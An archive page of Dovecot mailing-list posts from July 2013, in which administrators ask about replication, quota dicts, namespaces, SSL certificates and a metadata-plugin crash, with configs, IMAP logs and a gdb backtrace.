- dovecot - dovecot.org

[Dovecot] new user questions
by Gene Heskett 14 Jul '13

14 Jul '13

Greetings; Trying to follow along with the wiki2 setup instructions and thought I'd hit a snag with the first "send me a mail" snippet as it took several minutes to arrive, so I assume that somehow procmail was involved in the delivery and my procmail runs mail thought a whole bunch of checks before finally handing it off to a mailfile as /var/mail/gene. Then the next script seems to only try whats in my home dir, and of course doesn't find it as neither exists, yet... I assume that is because dovecot needs a kill -HUP. But I am not familiar with that, so how is it done, and as what user, me, or root, on a ubuntu 12.04.2 LTS install? Thanks. Cheers, Gene -- "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) My web page: <http://coyoteden.dyndns-free.com:85/gene> is up! My views <http://www.armchairpatriot.com/What%20Has%20America%20Become.shtml> Beam me up, Scotty! A pen in the hand of this president is far more dangerous than 200 million guns in the hands of law-abiding citizens.

3 4

[Dovecot] Mail replication ... totally confused !
by HL 13 Jul '13

13 Jul '13

Hello, I am totally confused configuring replication in dovecot. In my case I have 2 servers instead of running rsync as a daemon which takes a lot of time I would like SERVER-A will be the master and SERVER-B will be the slave My users directly interact with server A, Server B stands as a mails backup only I've setup SERVER-B ( backup ) like that, NO SPECIAL CONF on master SERVER-A Is this ok ?? I Don't want to miss any mails Since this is a live server service aggregator { # give enough permissions for mail processes # fifo_listener replication-notify-fifo { user = vmail mode = 0600 } unix_listener replication-notify { user = vmail mode = 0600 } } service replicator { # start replication at startup # process_min_avail = 1 } service doveadm { # if you're using a single virtual user, set this to start ssh as vmail # (not root) # user = vmail } service config { # needed to grant access to /var/run/dovecot/config for service doveadm # unix_listener config { user = vmail } } dsync_remote_cmd = ssh -p 1234 -l%{login} %{host} doveadm dsync-server -u%u -l%{lock_timeout} -n%{namespace} plugin { mail_replica = remote:vmail@master-server-a.tld replication_full_sync_interval = 1 hours }

1 0

[Dovecot] Dovecot 2.2.4 metadata-plugin not support UTF7
by Sergey Sidlyarenko 13 Jul '13

13 Jul '13

In Dovecot 2.2.4 metadata-plugin crach on setmetadata but worked on ascii folders? but not worked on utf7 (non ascii) folders. [13-Jul-2013 19:15:36 +0400]: [F537] S: A0002 OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS SPECIAL-USE BINARY MOVE METADATA ANNOTATEMORE] Logged in [13-Jul-2013 19:15:36 +0400]: [F537] C: A0003 CREATE &BB0EPgQyBEsEOQ-8 [13-Jul-2013 19:15:36 +0400]: [F537] S: A0003 OK Create completed. [13-Jul-2013 19:15:36 +0400]: [F537] C: A0004 SUBSCRIBE &BB0EPgQyBEsEOQ-8 [13-Jul-2013 19:15:36 +0400]: [F537] S: A0004 OK Subscribe completed. [13-Jul-2013 19:15:36 +0400]: [F537] C: A0005 SETMETADATA &BB0EPgQyBEsEOQ-8 (/shared/vendor/kolab/folder-type event /private/vendor/kolab/folder-type NIL) [13-Jul-2013 19:15:36 +0400]: [F537] S: A0005 NO Mailbox does not exist. [13-Jul-2013 19:15:36 +0400]: [F537] C: A0006 SETMETADATA &BB0EPgQyBEsEOQ-8 (/private/vendor/kolab/folder-type event) [13-Jul-2013 19:15:36 +0400]: [F537] S: A0006 NO Mailbox does not exist. [13-Jul-2013 19:15:36 +0400]: [F537] C: A0007 LIST "" "&BB0EPgQyBEsEOQ-8/*" [13-Jul-2013 19:15:36 +0400]: [F537] S: A0007 OK List completed. [13-Jul-2013 19:15:36 +0400]: [F537] C: A0008 GETMETADATA "*" (/private/vendor/kolab/folder-type /shared/vendor/kolab/folder-type) [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Drafts" ("/private/vendor/kolab/folder-type" "mail.drafts") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Drafts" ("/shared/vendor/kolab/folder-type" "mail") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Configuration" ("/private/vendor/kolab/folder-type" "configuration.default") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Configuration" ("/shared/vendor/kolab/folder-type" "configuration") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Notes" ("/private/vendor/kolab/folder-type" "note.default") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Notes" ("/shared/vendor/kolab/folder-type" "note") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Junk" ("/private/vendor/kolab/folder-type" "mail.junkemail") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Junk" ("/shared/vendor/kolab/folder-type" "mail") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "FreeBusy" ("/private/vendor/kolab/folder-type" "freebusy.default") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "FreeBusy" ("/shared/vendor/kolab/folder-type" "freebusy") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "INBOX" ("/private/vendor/kolab/folder-type" "mail.inbox") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "INBOX" ("/shared/vendor/kolab/folder-type" "mail") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Sent" ("/private/vendor/kolab/folder-type" "mail.sentitems") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Sent" ("/shared/vendor/kolab/folder-type" "mail") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "New8" ("/shared/vendor/kolab/folder-type" "event") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Tasks" ("/private/vendor/kolab/folder-type" "task.default") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Tasks" ("/shared/vendor/kolab/folder-type" "task") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Trash" ("/private/vendor/kolab/folder-type" "mail.wastebasket") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Trash" ("/shared/vendor/kolab/folder-type" "mail") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Calendar" ("/private/vendor/kolab/folder-type" "event.default") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Calendar" ("/shared/vendor/kolab/folder-type" "event") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Calendar/New" ("/shared/vendor/kolab/folder-type" "event") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Calendar/New4" ("/shared/vendor/kolab/folder-type" "event") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Calendar/New3" ("/shared/vendor/kolab/folder-type" "event") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Calendar/Home" ("/shared/vendor/kolab/folder-type" "event") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Calendar/New2" ("/shared/vendor/kolab/folder-type" "event") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Calendar/New1" ("/shared/vendor/kolab/folder-type" "event") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "New7" ("/shared/vendor/kolab/folder-type" "event") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Addressbook" ("/private/vendor/kolab/folder-type" "contact.default") [13-Jul-2013 19:15:36 +0400]: [F537] S: * METADATA "Addressbook" ("/shared/vendor/kolab/folder-type" "contact") [13-Jul-2013 19:15:36 +0400]: [F537] S: A0008 OK Completed. [13-Jul-2013 19:15:36 +0400]: [F537] C: A0009 DELETE &BB0EPgQyBEsEOQ-8 [13-Jul-2013 19:15:36 +0400]: [F537] S: A0009 OK Delete completed. [13-Jul-2013 19:15:36 +0400]: [F537] C: A0010 UNSUBSCRIBE &BB0EPgQyBEsEOQ-8 [13-Jul-2013 19:15:36 +0400]: [F537] S: A0010 OK Unsubscribe completed. [13-Jul-2013 19:15:36 +0400]: [F537] C: A0011 LOGOUT [13-Jul-2013 19:15:36 +0400]: [F537] S: * BYE Logging out [13-Jul-2013 19:15:36 +0400]: [F537] S: A0011 OK Logout completed. -- Sidlyarenko Sergey https://github.com/lefoyer

1 0

[Dovecot] Dovecot 2.2.4 metadata-plugin crached
by Sergey Sidlyarenko 13 Jul '13

13 Jul '13

Dovecot (deb http://xi.rename-it.nl/debian/ stable-auto/dovecot-2.2 main) crached after create new metadata folder (But the folder with metadata is created). Metadata plugin v14. Coredump: http://yadi.sk/d/bsBCpRS76mXpj in log: imap(admin(a)example.ru): Fatal: master: service(imap): child 14339 killed with signal 11 (core dumped) [10-Jul-2013 11:46:00 +0400]: [A4A2] S: * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE STARTTLS AUTH=PLAIN AUTH=LOGIN] Welcome to TU FKP IMAP server. [10-Jul-2013 11:46:00 +0400]: [A4A2] C: A0001 ID ("name" "Roundcube" "version" "1.0-git" "php" "5.4.4-14+deb7u2" "os" "Linux" "command" "/?_task=calendar&_action=calendar") [10-Jul-2013 11:46:00 +0400]: [A4A2] S: * ID ("name" "Dovecot") [10-Jul-2013 11:46:00 +0400]: [A4A2] S: A0001 OK ID completed. [10-Jul-2013 11:46:00 +0400]: [A4A2] C: A0002 AUTHENTICATE PLAIN pass [10-Jul-2013 11:46:00 +0400]: [A4A2] S: A0002 OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS SPECIAL-USE BINARY MOVE METADATA ANNOTATEMORE] Logged in [10-Jul-2013 11:46:00 +0400]: [A4A2] C: A0003 CREATE Calendar/New4 [10-Jul-2013 11:46:00 +0400]: [A4A2] S: A0003 OK Create completed. [10-Jul-2013 11:46:00 +0400]: [A4A2] C: A0004 SUBSCRIBE Calendar/New4 [10-Jul-2013 11:46:00 +0400]: [A4A2] S: A0004 OK Subscribe completed. [10-Jul-2013 11:46:00 +0400]: [A4A2] C: A0005 SETMETADATA Calendar/New4 (/shared/vendor/kolab/folder-type event /private/vendor/kolab/folder-type NIL) root@mail:/var/core# gdb /usr/lib/dovecot/imap /var/core/19851 GNU gdb (GDB) 7.4.1-debian Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /usr/lib/dovecot/imap...Reading symbols from /usr/lib/debug/usr/lib/dovecot/imap...done. done. [New LWP 19851] warning: Can't read pathname for load map: Ошибка ввода/вывода. [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Core was generated by `dovecot/imap'. Program terminated with signal 11, Segmentation fault. #0 0x00007f0a7102686f in ?? () from /lib/x86_64-linux-gnu/libc.so.6 (gdb) bt full #0 0x00007f0a7102686f in ?? () from /lib/x86_64-linux-gnu/libc.so.6 No symbol table info available. #1 0x00007f0a700ccad9 in metadata_set_entry (entry=0x1705880, user=<optimized out>) at metadata-backend.c:133 muser = 0x16f6550 key = <optimized out> dt = <optimized out> #2 0x00007f0a6fcc4c91 in setmetadata_helper (box=0x1700080, args=<optimized out>, cmd=0x16fb440) at imap-metadata-plugin.c:673 name = 0x16fffd8 "/private/vendor/kolab/folder-type" value = 0x0 entry = <optimized out> ret = <optimized out> warn_maxsize = <optimized out> warn_toomany = <optimized out> arglist = 0x16ffeb8 response = <optimized out> warn_noprivate = false #3 cmd_setmetadata (cmd=0x16fb440) at imap-metadata-plugin.c:761 args = 0x16ffca8 mailbox_name = 0x16ffe10 "Calendar/New3" box = 0x1700080 #4 0x000000000041679c in command_exec (cmd=cmd@entry=0x16fb440) at imap-commands.c:156 hook = 0x16e00b0 ret = <optimized out> #5 0x0000000000415800 in client_command_input (cmd=0x16fb440) at imap-client.c:775 client = 0x16fa910 command = <optimized out> __FUNCTION__ = "client_command_input" #6 0x00000000004158ba in client_command_input (cmd=0x16fb440) at imap-client.c:836 client = 0x16fa910 command = <optimized out> __FUNCTION__ = "client_command_input" #7 0x0000000000415b75 in client_handle_next_command (remove_io_r=<synthetic pointer>, client=0x16fa910) at imap-client.c:874 No locals. #8 client_handle_input (client=client@entry=0x16fa910) at imap-client.c:886 _data_stack_cur_id = 3 ret = false remove_io = false handled_commands = false __FUNCTION__ = "client_handle_input" #9 0x0000000000415f22 in client_input (client=0x16fa910) at imap-client.c:928 cmd = <optimized out> output = 0x16fb308 bytes = 112 __FUNCTION__ = "client_input" #10 0x00007f0a71309f66 in io_loop_call_io (io=0x16f8bd0) at ioloop.c:387 ioloop = 0x16df700 t_id = 2 #11 0x00007f0a7130add7 in io_loop_handler_run (ioloop=ioloop@entry=0x16df700) at ioloop-epoll.c:215 ctx = 0x16e0390 events = 0x0 event = 0x16e11f0 list = 0x16f8c20 io = <optimized out> tv = {tv_sec = 1799, tv_usec = 999792} events_count = <optimized out> msecs = <optimized out> ret = 1 i = <optimized out> call = <optimized out> __FUNCTION__ = "io_loop_handler_run" #12 0x00007f0a71309aa8 in io_loop_run (ioloop=0x16df700) at ioloop.c:406 No locals. ---Type <return> to continue, or q <return> to quit--- #13 0x00007f0a712bf1e3 in master_service_run (service=0x16df590, callback=callback@entry=0x41ed40 <client_connected>) at master-service.c:560 No locals. #14 0x000000000040bb58 in main (argc=1, argv=0x16df390) at main.c:400 set_roots = {0x426320, 0x0} login_set = {auth_socket_path = 0x16d7040 "\001", postlogin_socket_path = 0x0, postlogin_timeout_secs = 60, callback = 0x41ebf0 <login_client_connected>, failure_callback = 0x41e900 <login_client_failed>, request_auth_token = 1} service_flags = <optimized out> storage_service_flags = <optimized out> username = 0x0 c = <optimized out> (gdb) quit root@mail:/var/core# dovecot -n # 2.2.4 (620876853f6f): /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-amd64 x86_64 Debian 7.1 ext4 auth_cache_negative_ttl = 10 secs auth_cache_size = 10 M auth_cache_ttl = 2 mins auth_master_user_separator = * auth_mechanisms = plain login auth_worker_max_count = 4096 base_dir = /var/run/dovecot/ default_client_limit = 8192 default_process_limit = 2048 default_vsz_limit = 2 G dict { expire = pgsql:/etc/dovecot/dovecot-dict-expire.conf metadata = file:/var/lib/dovecot/shared-metadata } first_valid_gid = 8 first_valid_uid = 8 info_log_path = /var/log/dovecot/dovecot.log last_valid_gid = 8 last_valid_uid = 8 lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes listen = *, [::] log_path = /var/log/dovecot/dovecot-errors.log log_timestamp = "%Y-%m-%d %H:%M:%S " login_greeting = Welcome to IMAP server. login_log_format_elements = user=<%u> method=%m rip=%r lip=%l %c login_trusted_networks = 127.0.0.1 mail_gid = mail mail_location = maildir:/var/mail/%d/%n:LAYOUT=fs:INBOX=/var/mail/%d/%n/maildirfolder:DIRNAME=maildirfolder:INDEX=/var/mail/indexes/%d/%n mail_max_userip_connections = 1024 mail_plugins = virtual expire metadata mail_privileged_group = mail mail_uid = mail managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace { hidden = no inbox = yes list = yes location = maildir:/var/mail/%d/%n:LAYOUT=fs:INBOX=/var/mail/%d/%n/maildirfolder:DIRNAME=maildirfolder:INDEX=/var/mail/indexes/%d/%n:UTF-8 mailbox Archive { auto = subscribe special_use = \Archive } mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Junk { auto = subscribe special_use = \Junk } mailbox Sent { auto = subscribe special_use = \Sent } mailbox Trash { auto = subscribe special_use = \Trash } prefix = separator = / subscriptions = yes type = private } namespace { hidden = no ignore_on_failure = no inbox = no list = yes location = virtual:/etc/dovecot/virtual:CONTROL=/var/mail/controls/%d/%n/Вся почта:INDEX=/var/mail/indexes/%d/%n/Вся почта:UTF-8 mailbox { auto = subscribe special_use = \All } prefix = Вся почта/ separator = / subscriptions = no type = private } passdb { args = /etc/dovecot/dovecot-pgsql-master.conf driver = sql master = yes } passdb { args = /etc/dovecot/dovecot-pgsql.conf driver = sql } plugin { expire = Trash expire2 = Trash/* expire3 = Junk expire_dict = proxy::expire metadata_dict = proxy::metadata sieve = /var/mail/%d/%n/dovecot.sieve sieve_before = /var/lib/dovecot/sieve/ sieve_dir = /var/mail/%d/%n/maildirfolder sieve_max_actions = 32 sieve_max_redirects = 4 sieve_max_script_size = 1M } protocols = imap sieve service auth-worker { client_limit = 4096 process_limit = 2048 process_min_avail = 10 service_count = 0 unix_listener auth-worker { mode = 0600 } vsz_limit = 1 G } service auth { client_limit = 10240 process_min_avail = 1 service_count = 0 unix_listener auth-client { group = mail mode = 0660 user = mail } unix_listener auth-master { group = mail mode = 0664 user = mail } user = dovecot vsz_limit = 1 G } service dict { unix_listener dict { group = mail mode = 0660 user = mail } } service imap-login { chroot = login client_limit = 4096 process_limit = 2048 process_min_avail = 10 service_count = 0 user = dovecot vsz_limit = 1 G } service imap { client_limit = 4096 process_limit = 2048 process_min_avail = 10 service_count = 0 vsz_limit = 1 G } service managesieve-login { chroot = login client_limit = 4096 executable = /usr/lib/dovecot/managesieve-login inet_listener sieve { port = 4190 } process_limit = 2048 process_min_avail = 10 service_count = 0 user = dovecot vsz_limit = 1 G } service managesieve { client_limit = 4096 executable = /usr/lib/dovecot/managesieve process_limit = 2048 process_min_avail = 10 service_count = 0 vsz_limit = 1 G } ssl_cert = </etc/ssl/dovecot/example.ru.ca.crt ssl_cipher_list = ALL:!LOW:!SSLv2 ssl_key = </etc/ssl/dovecot/example.ru.key ssl_parameters_regenerate = 1 hours userdb { args = /etc/dovecot/dovecot-pgsql.conf driver = sql } valid_chroot_dirs = /var/mail/ verbose_proctitle = yes protocol imap { mail_max_userip_connections = 1024 mail_plugins = expire virtual metadata imap_metadata imap_annotatemore } protocol lda { hostname = mail.example.ru info_log_path = /var/log/dovecot/dovecot-local-deliver.log log_path = /var/log/dovecot/dovecot-local-deliver-errors.log mail_plugins = expire sieve virtual postmaster_address = admin(a)example.ru } protocol sieve { managesieve_max_line_length = 65536 } -- Sidlyarenko Sergey https://github.com/lefoyer

1 0

[Dovecot] Ambiguous behavior with prefetch database?
by Axel Luttgens 13 Jul '13

13 Jul '13

Hello, Let's say dovecot.conf contains: mail_uid = dovemailer mail_gid = dovemailer mail_home = /some/path/%n mail_location = mbox:~/mboxes:INBOX=~/mboxes/inbox and that the password database query is of the form: password_query = \ SELECT \ passwd AS password, \ nickname AS user, \ mail_home AS userdb_home, \ mail_location AS userdb_mail, \ WHERE \ ... The database initially comes with NULL for both mail_home and mail_location, the goal being to be able to progressively replace legacy settings. With the above, one gets such entries in the logs upon a pop or imap connection: auth-worker(11262): Debug: auth(u12345678,127.0.0.1): username changed u12345678 -> john.doe auth: Debug: auth(u12345678,127.0.0.1,<dsNsasbgRQB/AAAB>): username changed u12345678 -> john.doe [...] auth: Debug: prefetch(john.doe,127.0.0.1,<dsNsasbgRQB/AAAB>): passdb didn't return userdb entries, trying the next userdb and, of course, the userdb_query fails since it isn't supposed to be invoked under such circumstances. Of course, the userdb_query could be adapted so as to handle pop/imap connections in addition to say, lmtp or doveadm connections, but this would anyway raise the question: why bother with a prefetch database setup? In fact, it seems that the problem comes from the fact that the password_query returns NULL values (i.e. "do not override dovecot.conf settings") for all userdb_xxx settings even if, technically speaking, it returns such columns. A slight yet somewhat silly modification of the password_query, such as this one: password_query = \ SELECT \ passwd AS password, \ nickname AS user, \ 'dovemailer' AS userdb_uid, \ mail_home AS userdb_home, \ mail_location AS userdb_mail, \ WHERE \ ... indeed seems to bring back all the expected behavior: now, the "passdb returns userdb entries" and, for example, the config's mail_home expands to the expected value /some/path/john.doe. Could it be that the case "userdb_xxx columns returned, even if all with NULL values" has been somehow overlooked in the code? Or am I erring with my interpetation of all those matters? TIA, Axel

2 5

[Dovecot] A sqlite-based quota dict
by Axel Luttgens 13 Jul '13

13 Jul '13

Hello, While experimenting with the sqlite backend, I noticed a big vacuum wrt its use for a quota dict. This is thus an opportunity to share a solution I managed to devise after some trials and errors and a (very quick and unscientific) look at the code. And also the opportunity to ask the community to check for possible flaws. Yes, nothing comes for free... ;-) TIA, Axel This is the SQL for creating the database or for adding needed table/trigger to an existing database (with many comments and few "active" lines): CREATE TABLE quota ( -- We will assume that, in the case of a sqlite DB (and probably a pgsql DB -- as well), Dovecot will *always* act along these lines: -- In case of a "row creation": -- INSERT INTO quota (subject, byte_count) -- VALUES (<some id>, <byte count>); -- INSERT INTO quota (subject, message_count) -- VALUES (<some id>, <msg count>); -- In case of a recalculation: -- UPDATE quota -- SET byte_count = byte_count + <byte count diff>, -- message_count = message_count + <msg count diff> -- WHERE subject = <some id>; -- In case of a row deletion: -- DELETE FROM quota -- WHERE subject = <some id>; -- For example, a "doveadm quota recalc" may first delete the relevant row -- if it exists, then (re-)create it. -- Clearly, the "row creation" case is a bit problematic, hence the need for -- a trigger. -- An id for the entity subjected to a quota (a user/mailbox, a domain...). subject TEXT PRIMARY KEY NOT NULL, -- The entity's size, expressed as a storage space use and as a message -- count. -- Note the NULL defaults: they allow to simplify the trigger's logics. byte_count INTEGER DEFAULT NULL, message_count INTEGER DEFAULT NULL ); CREATE TRIGGER quota_insert BEFORE INSERT ON quota FOR EACH ROW BEGIN -- If there's a row to update, that's because the first INSERT of the "row -- creation" has been performed. -- (this UPDATE could probably be simplified if the insertion order, -- byte_count then message_count, was guaranteed; anyway, since the "row -- creation" operation shouldn't be very frequent, we may afford a slight -- inefficiency). UPDATE quota SET byte_count = CASE WHEN NEW.byte_count ISNULL THEN byte_count ELSE NEW.byte_count END, message_count = CASE WHEN NEW.message_count ISNULL THEN message_count ELSE NEW.message_count END WHERE subject = NEW.subject; -- In which case we may ignore that second (current) INSERT, since the -- previously inserted row has just been updated with the value coming -- from the current INSERT statement. SELECT raise(IGNORE) WHERE EXISTS (SELECT * FROM quota WHERE subject = NEW.subject); END; The corresponding dict configuration being thus supposed to be similar to this one: connect = /path/to/database map { pattern = priv/quota/storage table = quota username_field = subject value_field = byte_count } map { pattern = priv/quota/messages table = quota username_field = subject value_field = message_count }

1 0

[Dovecot] Dovecot Virtual Folders... could these be managed by a/the Client?
by Charles Marcus 12 Jul '13

12 Jul '13

Hi all/Timo, I was thinking about Thunderbirds ability to create Virtual folders allowing you to have many different views of your messages... The downside though, is you only see these in Thunderbird. I know that dovecot supports server side virtual folders: http://wiki2.dovecot.org/Plugins/Virtual But I'm wondering about the possibility to manage these from the client side... For example, would it be possible to create an extension in Thunderbird that allowed the user to manage these (create, edit the filters for, delete, rename, etc)? Thanks, -- Best regards, Charles

2 1

[Dovecot] (no subject)
by Gab IIpop 12 Jul '13

12 Jul '13

>From the documentation, virtual users seem like a good idea if you plan on having a lot of users. Although I'm wondering about the following: What other benefits/consequences are there to using virtual over system users and vice versa? Will virtual users have the same protection as system users (system users would use linux permissions, which is pretty secure)? How easy will it be to switch from using system users to virtual users or vice versa?

2 1

[Dovecot] avoid log message when using nagios check
by lluis 12 Jul '13

12 Jul '13

Hello, I'm using a nagios check to monitor dovecot status, since dovecot v2 I see those syslog messages on every nagios check: pop3-login: Aborted login (no auth attempts in 0 secs) imap-login: Aborted login (no auth attempts in 0 secs) I tried to avoid those messages sending a logout string: check_imap -H localhost -e 'OK' -s 'a logout' check_pop -H localhost -e 'OK' -s 'quit' but now I get imap-login: Disconnected (no auth attempts in 0 secs) pop3-login: Disconnected (no auth attempts in 0 secs) what can I do to avoid a log message on every nagios check? thanks! Lluís

6 12

[Dovecot] getting quota error when accessing private namespace
by Andreas Oster 12 Jul '13

12 Jul '13

Hi all, I have run into a problem which I cannot find a solution for. I have created an additional private namespace with the following commands in dovecot.conf : namespace { disabled = no hidden = no ignore_on_failure = no inbox = no list = children location = maildir:/var/vmail/archives/%Ln/Maildir mailbox "archived mails" { auto = subscribe driver = special_use = \Archive } prefix = Archives/ separator = / subscriptions = yes type = private } plugin { quota = maildir:User quota:ns= quota2 = maildir:Archives quota:ns=Archives/ quota2_rule = *:storage=5G quota_rule = *:storage=1G quota_rule2 = Trash:storage=+200M } I can access the new namespace without any problems but every time a folder in this namespace is accessed, I get the following error messages in mail.err log: dovecot: imap(testuser): Error: quota: Unknown namespace: Archives/ dovecot: last message repeated 49 times Quota seems to work, though I have the feeling, that it only will be updated when closing and reopening the mail client, but this can also be a client issue. Quota for the INBOX is either taken from LDAP or, if there is no value defined in LDAP, will be assigned a quota of 1G The Archives/ namespace has a static quota of 5G for every user. Does anyone have idea how to get rid of these error messages ? Thank you for your kind help Andreas

2 5

[Dovecot] Multiple Folders Continually Auto-Created
by Cassidy Larson 12 Jul '13

12 Jul '13

I've had reports of a number of clients running Outlook 2011 on Mac where they have quite a few folders with the same name appended by multiple "1"s. So far I've only narrowed it down to Outlook 2011 on Mac. We've been in the process of migrating to sdbox on a new server from maildir using dsync backup. Example folder structure: INBOX INBOX 1 INBOX 1 1 INBOX 1 1 1 INBOX 1 1 1 1 INBOX 1 1 1 1 1 INBOX 1 1 1 1 1 1 INBOX 1 1 1 1 1 1 1 INBOX 1 1 1 1 1 1 1 1 INBOX 1 1 1 1 1 1 1 1 1 INBOX 1 1 1 1 1 1 1 1 1 1 Junk Junk 1 Junk 1 1 Junk 1 1 1 Junk 1 1 1 1 Junk 1 1 1 1 1 Junk 1 1 1 1 1 1 Junk 1 1 1 1 1 1 1 Junk 1 1 1 1 1 1 1 1 and so on for "Sent Messages", etc. Seems that the the default folders for these clients are getting created over and over again, each time with a new "1" at the end. Anybody else see this? I'm digging for a client I can troubleshoot with and reproduce with me watching. Thanks, -c

2 2

[Dovecot] SSL cert problem
by Peter von Nostrand 12 Jul '13

12 Jul '13

Hi, I'm running a new dovecot 2.0.9 under Centos 6.4. I'm having an issue with SSL certificate not being accepted by the email client. I have my own CA and I have generated certificates for web usage without a problem. For imaps and pop3s what I did was generate a certificate for the hostname of my dovecot server and then cat that cert with the intermediate and root CA certificates. No matter what thunderbird still complains with Unknown identity. # 2.0.9: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-358.2.1.el6.x86_64 x86_64 CentOS release 6.4 (Final) auth_mechanisms = plain login auth_socket_path = /var/run/dovecot/auth-userdb auth_username_format = %n disable_plaintext_auth = no log_path = /var/log/dovecot.log mail_fsync = never mail_home = /vmail/%u mail_location = maildir:~/Maildir mail_plugins = quota managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date mbox_write_locks = fcntl passdb { driver = pam } plugin { quota = maildir:User quota quota_rule = *:storage=1G quota_rule2 = Trash:storage=+100M sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } protocols = imap pop3 lmtp sieve quota_full_tempfail = yes service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } unix_listener auth-userdb { group = vmail mode = 0660 user = vmail } } service lmtp { unix_listener lmtp { user = vmail } } service managesieve-login { inet_listener sieve { port = 4190 } } service pop3-login { inet_listener pop3s { port = 995 ssl = yes } } ssl_cert = </etc/pki/dovecot/certs/mail.pem ssl_key = </etc/pki/dovecot/private/mail.example.com.key userdb { args = /etc/dovecot/dovecot-ldap.conf.ext driver = ldap } verbose_ssl = yes protocol lmtp { mail_fsync = optimized mail_plugins = sieve quota } protocol lda { mail_plugins = sieve quota } protocol imap { mail_plugins = quota imap_quota } protocol pop3 { mail_plugins = quota This is the log: Jul 11 15:38:45 imap-login: Warning: SSL: where=0x10, ret=1: before/accept initialization [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL: where=0x2001, ret=1: before/accept initialization [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL: where=0x2002, ret=-1: SSLv2/v3 read client hello A [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL: where=0x2001, ret=1: SSLv3 read client hello A [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL: where=0x2001, ret=1: SSLv3 write server hello A [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL: where=0x2001, ret=1: SSLv3 write certificate A [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL: where=0x2001, ret=1: SSLv3 write key exchange A [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL: where=0x2001, ret=1: SSLv3 write server done A [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL: where=0x2001, ret=1: SSLv3 flush data [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL: where=0x2002, ret=-1: SSLv3 read client certificate A [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL: where=0x2002, ret=-1: SSLv3 read client certificate A [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL: where=0x2001, ret=1: SSLv3 read client key exchange A [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL: where=0x2001, ret=1: SSLv3 read finished A [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL: where=0x2001, ret=1: SSLv3 